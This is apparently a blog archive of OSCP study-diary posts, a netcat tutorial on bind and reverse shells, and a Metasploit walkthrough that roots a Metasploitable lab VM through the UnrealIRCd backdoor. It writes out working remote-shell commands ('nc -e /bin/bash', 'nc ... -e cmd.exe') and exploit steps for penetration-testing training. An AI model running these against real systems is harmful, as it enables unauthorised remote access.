Tag Archives: kali linux

OSCP Diary 3

I didn’t intend on taking so much time in between posts, but with work, Christmas and the OSCP I have been swamped!

So sitrep: Progress has been slow and steady, maybe a little slower than I would have liked…in fact definitely slower than I would have liked.

So my main issue has been myself.. I am arrogant, I procrastinate a lot and I am a weak!

So let me explain each in turn; I am arrogant. Coming into the OSCP, I was telling myself, how hard can this be, you’ve been in this game for a few years now, you have lots of Linux experience, you have used most and if not all of these tools before. This should be a formality.

Well it turns out it isn’t a formality, yes I have been in this game before, but never on the attacking side, sure I’ve done the vulnhub stuff, the uni classes and even a little bit of dabbling in the real world, but this is different, it isn’t just about knowing how to use the tools or following tutorials. This requires you to sit down and plan and conduct the tools like a conductor conducts an orchestra. This is about knowing what to use when, about what steps to take first, about developing a repeatable but dynamic process.

This is hard….way harder than it sounds, I think the only way to really learn this is via time, practice and effort.

While we are on the subject of effort, let’s move on to my next failing; procrastination. All too often have I got up and told myself today I will spend the entire day on this..and sometimes I do. But that also involves picking up my phone to check Facebook, stopping to make tea, going on youtube etc etc. This wastes lots of time. I need to stop this.

My next failing is weakness….I will admit it, I have had the “I can’t do this” moment(s), it has hit me and it has hit me hard.

I will be working on a box, I will be following an attack vector all is well, I’m in full on Neo from the matrix mode…then boom. Brickwall….I get stuck and I cannot get any further. This has happened to me a few times now.

But…a few days ago I hit a milestone, I pwned not 1..but 2 boxes. Sure they were exploiting the same vulnerability, but the joy of getting a shell on those boxes with a custom exploit was good!

I had my first “I CAN DO THIS!” moment, from these I have had a number of small victories, finding the odd thing here and there, I am beginning to feel like I am making progress.

Right that is enough for today, I’m not sure exactly when my next post will be but I will try make it sooner than this one took me!

OSCP Diary Day 2 and 3

I’m now on day 3 of 90 of the OSCP. How has progress been!?…well, steady.

Time has been tight, with work, family etc. It’s hard to set aside blocks of time to really sit down and concentrate. I have the luxury of being able to do a bit at work (cause my work is awesome!), but much of that is broken up in between work stuff (Which obviously takes priority) so I haven’t had a huge amount of time to just sit down and focus on working though the course work.

But steady progress is better than no progress… and today…*druuum roooollllll* I popped my first box. Although it was very…VERY low hanging fruit.

I have also made some great progress in regards to enumeration. So all in all, the last couple of days while not being perfect have been okay.

I will need to take a day off tomorrow as I am attending a Cyber Security Conference (Which I am really pumped up for), but I will be back in action on Friday
I’ve still not had that “I can’t do this moment”…but I haven’t tried hard enough yet. Friday I hope to have a few hours of time to dedicate to this, so maybe that moment will come then!

Meaningful time in labs: 9 hours.

OSCP Diary Day 1

Welcome to my OSCP diary, somewhere for me to brain dump my thoughts as I work my way through the Penetration Testing with Kali Linux (PWK) course and then take the Offensive Security Certified Professional (OSCP) Exam.

The PWK/OSCP are under strict NDA so I will not be going into details here, I will be very general and very vague. So if you are looking for PWK tutorials and howtos, then you have come to the wrong place.

After weeks of waiting I finally got my OSCP lab access last night at 0000 Hours, as the bell tolled midnight the email that I had not patiently waited for was finally delivered.

The plan was wait up until midnight, get the email download all the stuff that I needed to get onto the labs, all the course materials etc. etc. then go to bed get a solid 7 hours sleep and be ready to spend Sunday pwning n00bs and popping shells!

So that was the plan, the reality however was somewhat more chaotic. Like a schoolboy at Christmas I have been getting a lot little hyped up over the last few days counting down the minutes to 0000 on my lab access day, thus I was already a little sleep deprived when I waited up to receive my email.

So the email comes in and I feel the rush of adrenalin surge though me (well about as much as a rush as you can get from receiving an email after a 20 hour day), and off I go dutifully downloading all the stuff I needed.

So I finished getting all the stuff and headed off to bed and sleep for a solid 7 hours….no I’m just kidding. I thought to myself, “ahh well I may as well configure everything just now so I’m ready to go in the morning.”, so off I go configuring all the things, getting everything just so.

It is now around 0100 everything is downloaded, everything is configured, all I need to do now is get some shut eye.

“But maybe I should just have a wee tincy wincy look at what I have in store for me”….so I open the course materials, pop on the forums, check out the IRC…it’s now 0200.

My mindset has now changed, I’m now thinking “well I’ve went this far I may as well get on the labs and have a look”…3 hours later it 0500 and I’ve just sat up all night, excited scanning all the things!
At this stage tiredness gets the better of me and I decide to call it a night (well technically morning).

So to bed I go 3 and bit hours later I’m awake again it is now 0830 and I am feeling compelled to get back in the labs. So to the labs I go…now it may be the sleep deprivation, it may be the excessive amount espressos I’ve consumed or it could be a combination of both, but I could not focus on any one thing. I must have wasted hours jumping around from one thing to another. I went from going rouge and jumping ahead of the game hitting random boxes to deciding to slow down and methodically just work my way though things from beginning to end.

In the end it now approaching 1800 I need to get things ready for the day job tomorrow (who I owe a big thank you to for putting me though the OSCP!), and I need to step away for a bit let everything from last 18 hours sink in.

The two take aways from day 1 are:

1: Sleep (it is a requirement unfortunately)
2: Plan ahead and prepare your day. (this will save a lot of time later on!)

Now roll on day 2 (of 90).

Meaningful time in labs: 6 Hours

What are Bind and Reverse Shells?

I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.

Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.

What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).

For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.

Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web

Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.

Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.

It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.

The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.

Okay, demo time, so either play along at home or just put your feet up and watch. *Read*

Our two boxes are Wendy the Windows box (192.168.1.80) and Lynn the Linux box (192.168.1.78).

So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;

Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;

Lynn nc -nlvp nc 9874 -e /bin/bash

Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.

Now when a connection is established on Lynn (192.168.1.78:9874), the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;

Wendy nc -nv 192.168.1.78 9874

And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.

bind_shell

The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?

Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.

Lynn nc -nlvp nc 9874

Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.

Wendy nc -nv 192.168.1.78 9874 -e cmd.exe

We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.

In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn

The Metasploit Framework

When it comes to penetration testing there are many applications available. Some can be used for footprinting and enumeration, others for gaining access to the network, and others for exploiting weaknesses in the network setup, or less than secure code. The Metasploit Framework falls into the latter category. Developed by the Metasploit Project (now acquired by Rapid7), The Metaspolit Framework is a tool that it used to run and develop exploits for penetration testing remote devices. The Metaspoit Framework is open source, and modular, allowing for the development of individual exploits, these exploits target a range of software and a range of operating systems, from The Windows family, Linux/UNIX distros and the iterations of Apples Mac OS X. There are various other free and commercial versions of Metaspolit, these include versions with GUI’s and more advanced features. This Guide however, will be based on the standard Metasploit Framework Edition, which is one of Kali Linux’s built in tools.

Various exploits with various payloads can be crafted to attack various patch versions of various software, as you see, that is a lot of variables so there is no guarantee a given exploit will be successful on a given target.

This guide however should be successful; it is a known exploit on a known target. The first thing you should do is setup a small virtual network running two VM’s. I used VirtualBox, but if you would rather use different software it shouldn’t make any difference. On the first VM install Kali Linux, this is the de facto Linux distro for penetration testing, it comes with a huge variety of tools including The Metasploit Framework. On the second VM install Metasploitable (Download here), this is a custom made Linux VM, that is designed to be used for penetration testers to hone their craft. Once you have this setup with both machines pinging each other, you are ready to go.

Step 1

The first step is to find a vulnerability that you can exploit. One of the best methods is by using nmap to scan for open ports and services that may present an open door. Namp can be run in many modes with many options, some are stealthy and will avoid Intrusion Detection Systems, some are not so stealthy, for the purpose of this guide however, we are going to run nmap in a not so stealthy fashion, purely for the purposes of demonstration. We know our target machine (as it is the only other device on our network) so we will target it directly and perform a scan that gives us a list of open ports, services running and what patch level the software is at, it will also fingerprint the target OS and give an estimation on what OS is running (it does this based on the individual nuances built in to the OS’s TCP/IP stack).

As you can see in the screenshot below, we have discovered a range of services and the versions of each service.

## -v = verbose; -A = All; this will perform a detailed scan with detailed output ##

#nmap –v –A 10.0.1.20

metasploit_step_1

Step 2

The next port of call is Google. Searching for exploits via the web will give an idea of potential security vulnerabilities in the target machines software. Search for weaknesses in each individual service that you have discovered, you may find that you can get the same end result in a number of different ways, some a lot simpler than others. In our machine you will see that it is running UnrealIRC version 3.2.8.1. This is popular and widely used Internet Relay Chat software. After searching the web you will discover that this version has a flaw in it that when exploited, can give an attacker root access to the Linux server running it.

Step 3

It is now time to move on to The Metasploit Framework. First, launch the tool. You will notice that the command prompt changes to the Metaspolit Framework prompt. Once the console has been launched you can use the search feature to find built in exploits, it does this by searching its database of exploit modules for the string of text you input. In this example; ‘unreal’.

This will return a list of modules that have ‘unreal’ in the title, you will find that it returns three exploits, two of which are for Unreal Tournament 2004, looking at the path you can tell there is one for Linux and one for Windows. You will also see how they are ranked, with both being ranked as good. These are not relevant to the UnrealIRC software, but the third one is. Examining the path shows that it is an exploit for UNIX systems, the correct software and the correct version of software, additionally you can see that this module is rated as excellent.

Using the info command followed by the path of the exploit will display a host of information about the module, including a description, licensing details, setting and links to references about the exploit.

[email protected]:~# msfconsole
msf > search unreal
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor

step_3

Step 4

Now that we are satisfied that we have discovered an exploit module for our target software and OS, it is time to launch the module, this is done with the use command followed by the path of the exploit. Once launched the command prompt will change to the module path, you can now use context commands for that module, the show options command with display remote host IP settings and port settings.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit (unreal_ircd_3281_backdoor) > show options

step_4

Step 5

To set the target IP address using the set RHOST command followed by the target machines IP address. The target port will be set to the UnrealIRC default port 6667, confirm from in the information discovered with nmap that this is indeed the port being used by the service, if not use the set RPORT command to configure the target port.

msf exploit (unreal_ircd_3281_backdoor) > set RHOST 10.0.1.20
msf exploit (unreal_ircd_3281_backdoor) > set RPORT 6667

Step 6

The final step is to execute the exploit. This is done simply by using the exploit command, the screen will output information on the working of the exploit, once it is complete you should now have access as root to the target machine, confirm this by running a root level command or by using the whoami command.

msf exploit (unreal_ircd_3281_backdoor) > exploit

step_6